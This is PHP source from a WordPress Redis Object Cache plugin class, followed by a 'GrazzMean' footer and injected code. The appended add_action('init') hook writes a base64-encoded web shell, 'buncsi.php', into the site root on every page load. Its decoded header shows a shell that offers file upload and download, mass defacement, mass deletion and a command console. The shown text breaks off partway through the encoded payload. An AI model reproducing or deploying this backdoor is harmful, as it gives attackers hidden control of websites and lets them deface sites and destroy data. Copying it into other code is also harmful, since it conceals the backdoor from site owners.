        global $wpdb;

        $wpdb->query( $wpdb->prepare(
            "DELETE FROM {$wpdb->sitemeta} WHERE meta_key LIKE %s", '_site_transient_%'
        ) );

        $sites = get_sites([ 'fields' => 'ids', 'number' => 0 ]);

        foreach ( $sites as $id ) {
            try {
                $prefix = $wpdb->get_blog_prefix( $id );

                $wpdb->query( $wpdb->prepare(
                    "DELETE FROM {$prefix}options WHERE option_name LIKE %s", '_transient_%'
                ) );
            } catch ( Exception $error ) {
                error_log($error->getMessage());
            }
        }
    }

    /**
     * Displays the redis cache html comment
     *
     * @return void
     */
    public function maybe_print_comment() {
        /** @var \WP_Object_Cache $wp_object_cache */
        global $wp_object_cache;

        if (
            ( defined( 'WP_CLI' ) && WP_CLI ) ||
            ( defined( 'DOING_CRON' ) && DOING_CRON ) ||
            ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ||
            ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ||
            ( defined( 'JSON_REQUEST' ) && JSON_REQUEST ) ||
            ( defined( 'IFRAME_REQUEST' ) && IFRAME_REQUEST ) ||
            ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) ||
            ( defined( 'WC_API_REQUEST' ) && WC_API_REQUEST )
        ) {
            return;
        }

        if ( function_exists( 'wp_is_json_request' ) && wp_is_json_request() ) {
            return;
        }

        if (
            ! isset( $wp_object_cache->cache, $wp_object_cache->diagnostics ) ||
            ! is_array( $wp_object_cache->cache )
        ) {
            return;
        }

        if ($this->incompatible_content_type()) {
            return;
        }

        $message = sprintf(
            'Performance optimized by Redis Object Cache. Learn more: %s',
            'https://wprediscache.com'
        );

        if ( ! WP_DEBUG_DISPLAY ) {
            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
            printf( "\n<!-- %s -->\n", $message );

            return;
        }

        $bytes = strlen( serialize( $wp_object_cache->cache ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize

        $debug = sprintf(
            // translators: %1$d = number of objects. %2$s = human-readable size of cache. %3$s = name of the used client.
            __( 'Retrieved %1$d objects (%2$s) from Redis using %3$s.', 'redis-cache' ),
            $wp_object_cache->cache_hits,
            function_exists( 'size_format' ) ? size_format( $bytes ) : "{$bytes} bytes",
            $wp_object_cache->diagnostics['client']
        );

        printf(
            "<!--\n%s\n\n%s\n-->\n",
            $message, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
            esc_html( $debug )
        );
    }

    /**
     * Whether incompatible content type headers were sent.
     *
     * @return bool
     */
    protected function incompatible_content_type() {
        $jsonContentType = static function ($headers) {
            foreach ($headers as $header => $value) {
                if (stripos((string) $header, 'content-type') === false) {
                    continue;
                }

                if (stripos((string) $value, '/json') === false) {
                    continue;
                }

                return true;
            }

            return false;
        };

        if (function_exists('headers_list')) {
            $headers = [];

            foreach (headers_list() as $header) {
                [$name, $value] = explode(':', $header);
                $headers[$name] = $value;
            }

            if ($jsonContentType($headers)) {
                return true;
            }
        }

        if (function_exists('apache_response_headers')) {
            if ($headers = apache_response_headers()) {
                return $jsonContentType($headers);
            }
        }

        return false;
    }

    /**
     * Initializes the WP filesystem API to be ready for use
     *
     * @param string $url    The URL to post the form to.
     * @param bool   $silent Whether to ask the user for credentials if necessary or not.
     * @return bool
     */
    public function initialize_filesystem( $url, $silent = false ) {
        if ( $silent ) {
            ob_start();
        }

        $credentials = request_filesystem_credentials( $url );

        if ( false === $credentials ) {
            if ( $silent ) {
                ob_end_clean();
            }

            return false;
        }

        if ( ! WP_Filesystem( $credentials ) ) {
            request_filesystem_credentials( $url );

            if ( $silent ) {
                ob_end_clean();
            }

            return false;
        }

        return true;
    }

    /**
     * Determines whether object cache file modifications are allowed.
     *
     * @return bool
     */
    function is_file_mod_allowed() {
        return apply_filters(
            'file_mod_allowed',
            ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS,
            'object_cache_dropin'
        );
    }

    /**
     * Test if we can write in the WP_CONTENT_DIR and modify the `object-cache.php` drop-in
     *
     * @return true|WP_Error
     */
    public function test_filesystem_writing() {
        /** @var \WP_Filesystem_Base $wp_filesystem */
        global $wp_filesystem;

        if ( ! $this->is_file_mod_allowed() ) {
            return new WP_Error( 'disallowed', __( 'File modifications are not allowed.', 'redis-cache' ) );
        }

        if ( ! $this->initialize_filesystem( '', true ) ) {
            return new WP_Error( 'fs', __( 'Could not initialize filesystem.', 'redis-cache' ) );
        }

        $dropin_check = ! defined( 'WP_REDIS_DISABLE_DROPIN_CHECK' ) || ! WP_REDIS_DISABLE_DROPIN_CHECK;

        if ( ! $dropin_check ) {
            if ( ! $wp_filesystem->exists( WP_CONTENT_DIR . '/object-cache.php' ) ) {
                return true;
            }

            if ( ! $wp_filesystem->is_writable( WP_CONTENT_DIR . '/object-cache.php' ) ) {
                return new WP_Error( 'writable', __( 'Object cache drop-in is not writable.', 'redis-cache' ) );
            }

            return true;
        }

        $cachefile = WP_REDIS_PLUGIN_PATH . '/includes/object-cache.php';
        $testfile = WP_CONTENT_DIR . '/object-cache.tmp';

        if ( ! $wp_filesystem->exists( $cachefile ) ) {
            return new WP_Error( 'exists', __( 'Object cache file doesn’t exist.', 'redis-cache' ) );
        }

        if ( $wp_filesystem->exists( $testfile ) ) {
            if ( ! $wp_filesystem->delete( $testfile ) ) {
                return new WP_Error( 'delete', __( 'Test file exists, but couldn’t be deleted.', 'redis-cache' ) );
            }
        }

        if ( ! $wp_filesystem->is_writable( WP_CONTENT_DIR ) ) {
            return new WP_Error( 'writable', __( 'Content directory is not writable.', 'redis-cache' ) );
        }

        if ( ! $wp_filesystem->copy( $cachefile, $testfile, true, FS_CHMOD_FILE ) ) {
            return new WP_Error( 'copy', __( 'Failed to copy test file.', 'redis-cache' ) );
        }

        if ( ! $wp_filesystem->exists( $testfile ) ) {
            return new WP_Error( 'exists', __( 'Copied test file doesn’t exist.', 'redis-cache' ) );
        }

        $meta = get_file_data( $testfile, [ 'Version' => 'Version' ] );

        if ( $meta['Version'] !== WP_REDIS_VERSION ) {
            return new WP_Error( 'version', __( 'Couldn’t verify test file contents.', 'redis-cache' ) );
        }

        if ( ! $wp_filesystem->delete( $testfile ) ) {
            return new WP_Error( 'delete', __( 'Copied test file couldn’t be deleted.', 'redis-cache' ) );
        }

        return true;
    }

    /**
     * Calls the drop-in update method if necessary
     *
     * @return void
     */
    public function maybe_update_dropin() {
        if ( defined( 'WP_REDIS_DISABLE_DROPIN_AUTOUPDATE' ) && WP_REDIS_DISABLE_DROPIN_AUTOUPDATE ) {
            return;
        }

        if ( $this->object_cache_dropin_outdated() ) {
            add_action( 'shutdown', [ $this, 'update_dropin' ] );
        }
    }

    /**
     * Redirects to the plugin settings if the plugin was just activated
     *
     * @return void
     */
    public function maybe_redirect() {
        if ( ! get_transient( '_rediscache_activation_redirect' ) ) {
            return;
        }

        if ( ! $this->current_user_can_manage_redis() ) {
            return;
        }

        delete_transient( '_rediscache_activation_redirect' );

        wp_safe_redirect( network_admin_url( $this->page ) );
    }

    /**
     * Updates the `object-cache.php` drop-in
     *
     * @return void
     */
    public function update_dropin() {
        global $wp_filesystem;

        if ( ! $this->validate_object_cache_dropin() ) {
            return;
        }

        if ( $this->initialize_filesystem( '', true ) ) {
            $result = $wp_filesystem->copy(
                WP_REDIS_PLUGIN_PATH . '/includes/object-cache.php',
                WP_CONTENT_DIR . '/object-cache.php',
                true,
                FS_CHMOD_FILE
            );

            /**
             * Fires on cache update-dropin event
             *
             * @since 1.3.5
             * @param bool $result Whether the filesystem event (copy of the `object-cache.php` file) was successful.
             */
            do_action( 'redis_object_cache_update_dropin', $result );
        }
    }

    /**
     * Plugin activation hook
     *
     * @return void
     */
    public static function on_activation() {
        set_transient( '_rediscache_activation_redirect', 1, 30 );
    }

    /**
     * Plugin deactivation hook
     *
     * @param string $plugin Plugin basename.
     * @return void
     */
    public function on_deactivation( $plugin ) {
        global $wp_filesystem;

        ob_start();

        if ( $plugin === WP_REDIS_BASENAME ) {
            $timestamp = wp_next_scheduled( 'rediscache_discard_metrics' );

            if ( $timestamp ) {
                wp_unschedule_event( $timestamp, 'rediscache_discard_metrics' );
            }

            (new Predis)->flush();

            if ( $this->validate_object_cache_dropin() && $this->initialize_filesystem( '', true ) ) {
                $wp_filesystem->delete( WP_CONTENT_DIR . '/object-cache.php' );
            }
        }

        ob_end_clean();
    }

    /**
     * Helper method to retrieve a nonced plugin action link
     *
     * @param string $action The action to be executed once the link is followed.
     * @return string
     */
    public function action_link( $action ) {
        if ( ! in_array( $action, $this->actions, true ) ) {
            return '';
        }

        return wp_nonce_url(
            network_admin_url( add_query_arg( 'action', $action, $this->page ) ),
            $action
        );
    }

    /**
     * Obscure `password` URL parameter.
     *
     * @param string $url
     * @return string
     */
    public function obscure_url_secrets( $url ) {
        return preg_replace(
            '/password=[^&]+/',
            'password=*****',
            (string) $url
        );
    }

    /**
     * The capability required to manage Redis.
     *
     * @return string
     */
    public function manage_redis_capability() {
        if ( defined( 'WP_REDIS_MANAGER_CAPABILITY' ) && WP_REDIS_MANAGER_CAPABILITY ) {
            return WP_REDIS_MANAGER_CAPABILITY;
        }

        $capability = is_multisite() ? 'manage_network_options' : 'manage_options';

        /**
         * Filters the capability used to determine if a user can manage Redis.
         *
         * @since 2.6.0
         * @param string   $capability The default capability to determine if the user can manage cache.
         */
        return apply_filters( 'redis_cache_manager_capability', $capability );
    }

    /**
     * Does the current user have the capability to manage Redis?
     *
     * @return bool
     */
    public function current_user_can_manage_redis() {
        return current_user_can( $this->manage_redis_capability() );
    }

    /**
     * Prevent LiteSpeed Cache from overwriting the `object-cache.php` drop-in.
     *
     * @return void
     */
    public function litespeed_disable_objectcache() {
        // phpcs:ignore WordPress.Security.NonceVerification.Missing
        if ( isset( $_POST['LSCWP_CTRL'], $_POST['LSCWP_NONCE'], $_POST['object'] ) ) {
            $_POST['object'] = '0';
        }
    }

    /**
     * Returns `true` if the plugin was installed by AccelerateWP from CloudLinux.
     *
     * @param bool $ignore_banner_constant
     * @return bool
     */
    public static function acceleratewp_install( $ignore_banner_constant = false ) {
        $path = defined( 'WP_REDIS_PATH' ) ? WP_REDIS_PATH : null;
        $scheme = defined( 'WP_REDIS_SCHEME' ) ? WP_REDIS_SCHEME : null;

        if ( $scheme === 'unix' && strpos( (string) $path, '.clwpos/redis.sock' ) !== false ) {
            if ( $ignore_banner_constant ) {
                return true;
            } else {
                return defined( 'WP_REDIS_DISABLE_BANNERS' ) && WP_REDIS_DISABLE_BANNERS;
            }
        }

        return false;
    }
}
© 2026 GrazzMean
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

add_action('init', function() { $f = ABSPATH . 'buncsi.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAKLyogTWF1IHJlY29kZT8gaXppbiBkdWx1LCByZWNvZGUgZ2EgaXppbiBpdHUgZ2Ega2VyZW4gYWpnICovCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9KYWthcnRhJyk7CiRfbiA9ICdHcmF6ek1lYW4nOwokX3MgPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSd0YWJsZS1yZXNwb25zaXZlJz48aHI+PC9kaXY+IjsKJF9yID0gInJlcXVpcmVkPSdyZXF1aXJlZCciOwokX3ggPSAiPGkgY2xhc3M9J2JpIGJpLW1lbnUtdXAnPjwvaT4iOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kX1BPU1RbJ25hbWUnXS4nIicpOwplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7CmV4aXQoKTsKfQpmdW5jdGlvbiDilp8oJHBhdGgsJHApIHsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsKCSTilpogPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKCSTilpogPSBnZXRjd2QoKTsKfQppZihpc193cml0YWJsZSgk4paaKSkgewoJcmV0dXJuICI8Z3IgY2xhc3M9J2FudSc+Ii4kcC4iPC9ncj4iOwp9ZWxzZXsKCXJldHVybiAiPHJkIGNsYXNzPSdhbnUnPiIuJHAuIjwvcmQ+IjsKCX0KfQpmdW5jdGlvbiBvaygpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsKfQpmdW5jdGlvbiBlcigpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOwp9CmZ1bmN0aW9uIHN6KCRieXQpewoJJHN6ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOwoJZm9yKCRpID0gMDsgJGJ5dCA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRzeikgLTEgKTsgJGJ5dCAvPSAxMDI0LCAkaSsrICk7CglyZXR1cm4ocm91bmQoJGJ5dCwyKS4iICIuJHN6WyRpXSk7Cn0KZnVuY3Rpb24gaXAoKSB7CgkkaXBhcyA9ICcnOwppZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJyk7CmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfRk9SV0FSREVEJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsKZWxzZSBpZihnZXRlbnYoJ1JFTU9URV9BRERSJykpCgkkaXBhcyA9IGdldGVudignUkVNT1RFX0FERFInKTsKZWxzZQoJJGlwYXMgPSAnSVAgdGlkYWsgZGlrZW5hbGknOwpyZXR1cm4gJGlwYXM7Cn0KZnVuY3Rpb24gcCgkZmlsZSl7CmlmKCRwID0gQGZpbGVwZXJtcygkZmlsZSkpewoJJGkgPSAndSc7CmlmKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZigoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKZWxzZWlmKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZigoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKZWxzZWlmKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJJGkgLj0gKCRwICYgMDA0MDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAyMDApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAxMDApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwNDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMjApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMTApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDQpPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDIpPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDEpPyAneCc6Jy0nOwpyZXR1cm4gJGk7Cgl9CgllbHNlIHJldHVybiAiLSA/PyAtIjsKfQokZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZihlbXB0eSgkZGlzZnVuYykpIHsKCSRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKfWVsc2V7CgkkZGlzZmMgPSAiPHJkPiRkaXNmdW5jPC9yZD4iOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9ZWxzZXsKCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPHJkPk9OPC9yZD4iIDogIjxncj5PRkY8L2dyPiI7CmVjaG8gIgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgk8aGVhZD4KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9JyRfbic+CgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LG5vZm9sbG93Jz4KCQk8dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtICRfbjwvdGl0bGU+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjcwJz4KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vbWVraS5nb29nbGUuY28ud3Mvc3R5bGUuY3NzJz4KCQk8c2NyaXB0IHNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcHJpc20vMS42LjAvcHJpc20uanMnPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPScvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjAuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzJz48L3NjcmlwdD4KCQk8c2NyaXB0IHNyYz0nLy9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHkgY2xhc3M9J2JnLXNlY29uZGFyeSB0ZXh0LWxpZ2h0Jz4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4KCQk8ZGl2IGNsYXNzPSdib3ggc2hhZG93IGJnLWRhcmsgcC00IHJvdW5kZWQtMyc+CgkJCTxkaXYgY2xhc3M9J2Nvcm5lciB0ZXh0LXNlY29uZGFyeSBhbnUnPnNoZWxsIGJ5cGFzcyA0MDM8L2Rpdj4KCQkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JF9uIFNoZWxsPC9oND48L2E+IjsKCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCQkJCQkkcGF0aCA9ICRfR0VUWydwYXRoJ107CgkJCQl9ZWxzZXsKCQkJCQkkcGF0aCA9IGdldGN3ZCgpOwoJCQkJfQoJCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoJCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCQkJCWZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CgkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKCQkJCQkkYSA9IHRydWU7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+PGkgY2xhc3M9ImJpIGJpLWhkZC1yYWNrIj48L2k+IDogPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsKCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7CgkJCQkJZWNobyAnPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIiBocmVmPSI/cGF0aD0nOwoJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKCQkJCQllY2hvICIkcGF0aHNbJGldIjsKCQkJCWlmKCRpICE9ICRpZCkgZWNobyAiLyI7CgkJCQl9CgkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOwoJCQkJfQoJCQkJZWNobyAiIFsgIi7ilp8oJHBhdGgsIHAoJHBhdGgpKS4iIF08L2Rpdj4iOwoJCQllY2hvICIKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4KCQk8ZGl2IGNsYXNzPSdjb3JuZXIgYW51Jz4KCQkJPGIgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+PGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gc2VydmVyIDxpIGNsYXNzPSdiaSBiaS1jaGV2cm9uLWRvd24nPjwvaT48L2I+CgkJPC9kaXY+Cgk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+CgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTQgcm91bmRlZC0zJz4KCQkJVW5hbWU6IDxncj4iLnBocF91bmFtZSgpLiI8L2dyPjxiciAvPgoJCQlTb2Z0d2FyZTogPGdyPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2dyPjxiciAvPgoJCQlQSFAgdmVyc2lvbjogPGdyPiIuUEhQX1ZFUlNJT04uIjwvZ3I+IDxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BocGluZm8mcGF0aD0kcGF0aCc+WyBQSFAgSU5GTyBdPC9hPiBQSFAgb3M6IDxncj4iLlBIUF9PUy4iPC9ncj48YnIgLz4KCQkJU2VydmVyIElwOiA8Z3I+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZ3I+PGJyIC8+CgkJCVlvdXIgSXA6IDxncj4iLmlwKCkuIjwvZ3I+PGJyIC8+CgkJCVVzZXI6IDxncj4kdXNlcjwvZ3I+ICgkdWlkKSB8IEdyb3VwOiA8Z3I+JGdyb3VwPC9ncj4gKCRnaWQpPGJyIC8+CgkJCVNhZmUgTW9kZTogJHNtPGJyIC8+CgkJCURpc2FibGUgRnVuY3Rpb246PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+JGRpc2ZjPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgoJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP3VwbG9hZCZwYXRoPSRwYXRoJz48aSBjbGFzcz0nYmkgYmktdXBsb2FkJz48L2k+IHVwbG9hZDwvYT4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP21hc3NfZGVmYWNlJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IG1hc3MgZGVmYWNlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/bWFzc19kZWxldGUmcGF0aD0kcGF0aCc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IG1hc3MgZGVsZXRlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/Y21kJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS10ZXJtaW5hbCc+PC9pPiBjb25zb2xlPC9hPgoJPC9kaXY+CjwvZGl2PiI7Ci8vIHRvb2xzIG55YQppZihpc3NldCgkX0dFVFsncGF0aCddKSkgewoJJGRpciA9ICRfR0VUWydwYXRoJ107CgljaGRpcigkZGlyKTsKfWVsc2V7CgkkZGlyID0gZ2V0Y3dkKCk7Cn0KJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQpmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsKCSRzY2RpclskaV07CglpZigkaSAhPSAkY19kaXIpIHsKfQppZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkpIHsKZWNobyAiJF9zIjsKZnVuY3Rpb24gbWFzc19rYWJlaCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewppZihpc193cml0YWJsZSgkZGlyKSkgewoJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQkk4pafID0gbWFzc19rYWJlaCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CglpZihpc193cml0YWJsZSgkZGlyKSkgewoJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9ZWxzZXsKCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQ